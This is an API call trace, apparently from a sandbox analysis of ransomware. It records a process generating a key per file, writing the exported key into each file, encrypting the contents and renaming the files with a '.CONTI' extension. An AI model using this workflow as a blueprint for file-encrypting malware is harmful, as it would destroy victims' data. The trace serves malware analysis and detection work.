	[0122.292] ReadFile (in: hFile=0x3c0, lpBuffer=0xacc0000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x40bf9ec, lpOverlapped=0x0 | out: lpBuffer=0xacc0000*, lpNumberOfBytesRead=0x40bf9ec*=0x2000, lpOverlapped=0x0) returned 1
	[0122.293] CryptEncrypt (in: hKey=0x6b7eb38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xacc0000*, pdwDataLen=0x40bf9e4*=0x2000, dwBufLen=0x500000 | out: pbData=0xacc0000*, pdwDataLen=0x40bf9e4*=0x2010) returned 1
	[0122.293] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.293] WriteFile (in: hFile=0x3c0, lpBuffer=0xacc0000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x40bfa00, lpOverlapped=0x0 | out: lpBuffer=0xacc0000*, lpNumberOfBytesWritten=0x40bfa00*=0x2010, lpOverlapped=0x0) returned 1
	[0122.293] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.293] WriteFile (in: hFile=0x3c0, lpBuffer=0x6b4d2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x40bfa18, lpOverlapped=0x0 | out: lpBuffer=0x6b4d2a0*, lpNumberOfBytesWritten=0x40bfa18*=0x8, lpOverlapped=0x0) returned 1
	[0122.293] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0122.293] CloseHandle (hObject=0x3c0) returned 1
	[0122.293] GetProcessHeap () returned 0x1720000
	[0122.293] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0122.294] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.009.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.009.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.009.etl"
	[0122.294] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.009.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.009.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.009.etl.CONTI"
	[0122.294] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.009.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.009.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.009.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.009.etl.conti")) returned 1
	[0122.295] GetProcessHeap () returned 0x1720000
	[0122.295] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0122.295] CryptDestroyKey (hKey=0x6b7eb38) returned 1
	[0122.295] GetProcessHeap () returned 0x1720000
	[0122.295] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7adc0 | out: hHeap=0x1720000) returned 1
	[0122.295] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50) returned 1
	[0122.295] CryptGenKey (in: hProv=0x17588c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b50968 | out: phKey=0x6b50968*=0x6b7e7b8) returned 1
	[0122.295] CryptExportKey (in: hKey=0x6b7e7b8, hExpKey=0x173a550, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5096c, pdwDataLen=0x40bfa14 | out: pbData=0x6b5096c*, pdwDataLen=0x40bfa14*=0x20c) returned 1
	[0122.296] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.010.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.010.etl")) returned 0x2020
	[0122.299] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.010.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.010.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0
	[0122.300] GetLastError () returned 0x0
	[0122.300] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x40bf9c0 | out: lpFileSize=0x40bf9c0*=8192) returned 1
	[0122.300] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0122.300] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.300] SetEndOfFile (hFile=0x3c0) returned 1
	[0122.300] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0122.300] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.300] WriteFile (in: hFile=0x3c0, lpBuffer=0x6b5096c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x40bf9cc, lpOverlapped=0x0 | out: lpBuffer=0x6b5096c*, lpNumberOfBytesWritten=0x40bf9cc*=0x20c, lpOverlapped=0x0) returned 1
	[0122.301] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0122.301] ReadFile (in: hFile=0x3c0, lpBuffer=0xacc0000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x40bf9ec, lpOverlapped=0x0 | out: lpBuffer=0xacc0000*, lpNumberOfBytesRead=0x40bf9ec*=0x2000, lpOverlapped=0x0) returned 1
	[0122.302] CryptEncrypt (in: hKey=0x6b7e7b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xacc0000*, pdwDataLen=0x40bf9e4*=0x2000, dwBufLen=0x500000 | out: pbData=0xacc0000*, pdwDataLen=0x40bf9e4*=0x2010) returned 1
	[0122.302] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.302] WriteFile (in: hFile=0x3c0, lpBuffer=0xacc0000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x40bfa00, lpOverlapped=0x0 | out: lpBuffer=0xacc0000*, lpNumberOfBytesWritten=0x40bfa00*=0x2010, lpOverlapped=0x0) returned 1
	[0122.302] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.302] WriteFile (in: hFile=0x3c0, lpBuffer=0x6b50960*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x40bfa18, lpOverlapped=0x0 | out: lpBuffer=0x6b50960*, lpNumberOfBytesWritten=0x40bfa18*=0x8, lpOverlapped=0x0) returned 1
	[0122.302] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0122.302] CloseHandle (hObject=0x3c0) returned 1
	[0122.302] GetProcessHeap () returned 0x1720000
	[0122.303] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0122.303] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.010.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.010.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.010.etl"
	[0122.303] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.010.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.010.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.010.etl.CONTI"
	[0122.303] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.010.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.010.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.010.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.010.etl.conti")) returned 1
	[0122.303] GetProcessHeap () returned 0x1720000
	[0122.303] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0122.303] CryptDestroyKey (hKey=0x6b7e7b8) returned 1
	[0122.303] GetProcessHeap () returned 0x1720000
	[0122.303] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7ae40 | out: hHeap=0x1720000) returned 1
	[0122.303] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50) returned 1
	[0122.303] CryptGenKey (in: hProv=0x17588c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b50df8 | out: phKey=0x6b50df8*=0x6b7e9b8) returned 1
	[0122.303] CryptExportKey (in: hKey=0x6b7e9b8, hExpKey=0x173a550, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b50dfc, pdwDataLen=0x40bfa14 | out: pbData=0x6b50dfc*, pdwDataLen=0x40bfa14*=0x20c) returned 1
	[0122.304] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.011.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.011.etl")) returned 0x2020
	[0122.305] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.011.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.011.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0
	[0122.306] GetLastError () returned 0x0
	[0122.306] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x40bf9c0 | out: lpFileSize=0x40bf9c0*=8192) returned 1
	[0122.306] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0122.306] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.306] SetEndOfFile (hFile=0x3c0) returned 1
	[0122.306] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0122.306] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.306] WriteFile (in: hFile=0x3c0, lpBuffer=0x6b50dfc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x40bf9cc, lpOverlapped=0x0 | out: lpBuffer=0x6b50dfc*, lpNumberOfBytesWritten=0x40bf9cc*=0x20c, lpOverlapped=0x0) returned 1
	[0122.307] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0122.307] ReadFile (in: hFile=0x3c0, lpBuffer=0xacc0000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x40bf9ec, lpOverlapped=0x0 | out: lpBuffer=0xacc0000*, lpNumberOfBytesRead=0x40bf9ec*=0x2000, lpOverlapped=0x0) returned 1
	[0123.535] CryptEncrypt (in: hKey=0x6b7e9b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xacc0000*, pdwDataLen=0x40bf9e4*=0x2000, dwBufLen=0x500000 | out: pbData=0xacc0000*, pdwDataLen=0x40bf9e4*=0x2010) returned 1
	[0123.535] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.535] WriteFile (in: hFile=0x3c0, lpBuffer=0xacc0000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x40bfa00, lpOverlapped=0x0 | out: lpBuffer=0xacc0000*, lpNumberOfBytesWritten=0x40bfa00*=0x2010, lpOverlapped=0x0) returned 1
	[0123.536] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.536] WriteFile (in: hFile=0x3c0, lpBuffer=0x6b50df0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x40bfa18, lpOverlapped=0x0 | out: lpBuffer=0x6b50df0*, lpNumberOfBytesWritten=0x40bfa18*=0x8, lpOverlapped=0x0) returned 1
	[0123.536] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0123.536] CloseHandle (hObject=0x3c0) returned 1
	[0123.536] GetProcessHeap () returned 0x1720000
	[0123.536] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0123.591] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.011.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.011.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.011.etl"
	[0123.591] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.011.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.011.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.011.etl.CONTI"
	[0123.591] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.011.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.011.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.011.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.011.etl.conti")) returned 1
	[0123.593] GetProcessHeap () returned 0x1720000
	[0123.593] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0123.593] CryptDestroyKey (hKey=0x6b7e9b8) returned 1
	[0123.593] GetProcessHeap () returned 0x1720000
	[0123.593] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7aec0 | out: hHeap=0x1720000) returned 1
	[0123.593] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50) returned 1
	[0123.593] CryptGenKey (in: hProv=0x17588c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b53de0 | out: phKey=0x6b53de0*=0x6b7e7f8) returned 1
	[0123.593] CryptExportKey (in: hKey=0x6b7e7f8, hExpKey=0x173a550, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b53de4, pdwDataLen=0x40bfa14 | out: pbData=0x6b53de4*, pdwDataLen=0x40bfa14*=0x20c) returned 1
	[0123.594] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.002.etl")) returned 0x2020
	[0123.594] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.002.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0123.594] GetLastError () returned 0x0
	[0123.594] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x40bf9c0 | out: lpFileSize=0x40bf9c0*=12288) returned 1
	[0123.594] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3000
	[0123.594] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.594] SetEndOfFile (hFile=0x3a8) returned 1
	[0123.595] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0123.595] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.595] WriteFile (in: hFile=0x3a8, lpBuffer=0x6b53de4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x40bf9cc, lpOverlapped=0x0 | out: lpBuffer=0x6b53de4*, lpNumberOfBytesWritten=0x40bf9cc*=0x20c, lpOverlapped=0x0) returned 1
	[0125.096] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0125.096] ReadFile (in: hFile=0x3a8, lpBuffer=0xacc0000, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x40bf9ec, lpOverlapped=0x0 | out: lpBuffer=0xacc0000*, lpNumberOfBytesRead=0x40bf9ec*=0x3000, lpOverlapped=0x0) returned 1
	[0125.097] CryptEncrypt (in: hKey=0x6b7e7f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xacc0000*, pdwDataLen=0x40bf9e4*=0x3000, dwBufLen=0x500000 | out: pbData=0xacc0000*, pdwDataLen=0x40bf9e4*=0x3010) returned 1
	[0125.097] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.097] WriteFile (in: hFile=0x3a8, lpBuffer=0xacc0000*, nNumberOfBytesToWrite=0x3010, lpNumberOfBytesWritten=0x40bfa00, lpOverlapped=0x0 | out: lpBuffer=0xacc0000*, lpNumberOfBytesWritten=0x40bfa00*=0x3010, lpOverlapped=0x0) returned 1
	[0129.226] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.226] WriteFile (in: hFile=0x3a8, lpBuffer=0x6b53dd8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x40bfa18, lpOverlapped=0x0 | out: lpBuffer=0x6b53dd8*, lpNumberOfBytesWritten=0x40bfa18*=0x8, lpOverlapped=0x0) returned 1
	[0129.226] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.226] CloseHandle (hObject=0x3a8) returned 1
	[0129.557] GetProcessHeap () returned 0x1720000
	[0129.557] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x65def40
	[0129.558] lstrcpyW (in: lpString1=0x65def40, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl"
	[0129.558] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl.CONTI"
	[0129.558] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.002.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.002.etl.conti")) returned 1
	[0129.585] GetProcessHeap () returned 0x1720000
	[0129.585] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65def40 | out: hHeap=0x1720000) returned 1
	[0129.585] CryptDestroyKey (hKey=0x6b7e7f8) returned 1
	[0129.585] GetProcessHeap () returned 0x1720000
	[0129.586] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c93d0 | out: hHeap=0x1720000) returned 1
	[0129.586] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50) returned 1
	[0130.183] CryptGenKey (in: hProv=0x17588c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b53030 | out: phKey=0x6b53030*=0x17c8230) returned 1
	[0130.183] CryptExportKey (in: hKey=0x17c8230, hExpKey=0x173a550, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b53034, pdwDataLen=0x40bfa14 | out: pbData=0x6b53034*, pdwDataLen=0x40bfa14*=0x20c) returned 1
	[0130.183] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico")) returned 0x20
	[0130.184] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0130.184] GetLastError () returned 0x5
	[0130.184] CryptDestroyKey (hKey=0x17c8230) returned 1
	[0130.184] GetProcessHeap () returned 0x1720000
	[0130.184] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180c1d8 | out: hHeap=0x1720000) returned 1
	[0130.184] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50) returned 1
	[0133.999] CryptGenKey (in: hProv=0x17588c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b44780 | out: phKey=0x6b44780*=0x17c8470) returned 1
	[0133.999] CryptExportKey (in: hKey=0x17c8470, hExpKey=0x173a550, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b44784, pdwDataLen=0x40bfa14 | out: pbData=0x6b44784*, pdwDataLen=0x40bfa14*=0x20c) returned 1
	[0134.000] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edbtmp.log")) returned 0x20
	[0134.000] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edbtmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0134.000] GetLastError () returned 0x5
	[0134.000] CryptDestroyKey (hKey=0x17c8470) returned 1
	[0134.000] GetProcessHeap () returned 0x1720000
	[0134.000] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176bac8 | out: hHeap=0x1720000) returned 1
	[0134.000] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50) returned 1
	[0134.710] CryptGenKey (in: hProv=0x17588c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b462e0 | out: phKey=0x6b462e0*=0x17c7f30) returned 1
	[0134.710] CryptExportKey (in: hKey=0x17c7f30, hExpKey=0x173a550, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b462e4, pdwDataLen=0x40bfa14 | out: pbData=0x6b462e4*, pdwDataLen=0x40bfa14*=0x20c) returned 1
	[0135.376] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\refcount.ini" (normalized: "c:\\users\\all users\\microsoft onedrive\\setup\\refcount.ini")) returned 0x2020
	[0135.378] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\refcount.ini" (normalized: "c:\\users\\all users\\microsoft onedrive\\setup\\refcount.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0135.378] GetLastError () returned 0x0
	[0135.378] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x40bf9c0 | out: lpFileSize=0x40bf9c0*=0) returned 1
	[0135.378] CryptDestroyKey (hKey=0x17c7f30) returned 1
	[0135.378] CloseHandle (hObject=0x378) returned 1
	[0135.378] GetProcessHeap () returned 0x1720000
	[0135.378] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7aec0 | out: hHeap=0x1720000) returned 1
	[0135.378] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50) returned 1
	[0137.802] CryptGenKey (in: hProv=0x17588c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b4d738 | out: phKey=0x6b4d738*=0x6b7eb38) returned 1
	[0137.807] CryptExportKey (in: hKey=0x6b7eb38, hExpKey=0x173a550, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4d73c, pdwDataLen=0x40bfa14 | out: pbData=0x6b4d73c*, pdwDataLen=0x40bfa14*=0x20c) returned 1
	[0137.808] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tmcontainer00000000000000000002.regtrans-ms")) returned 0x26
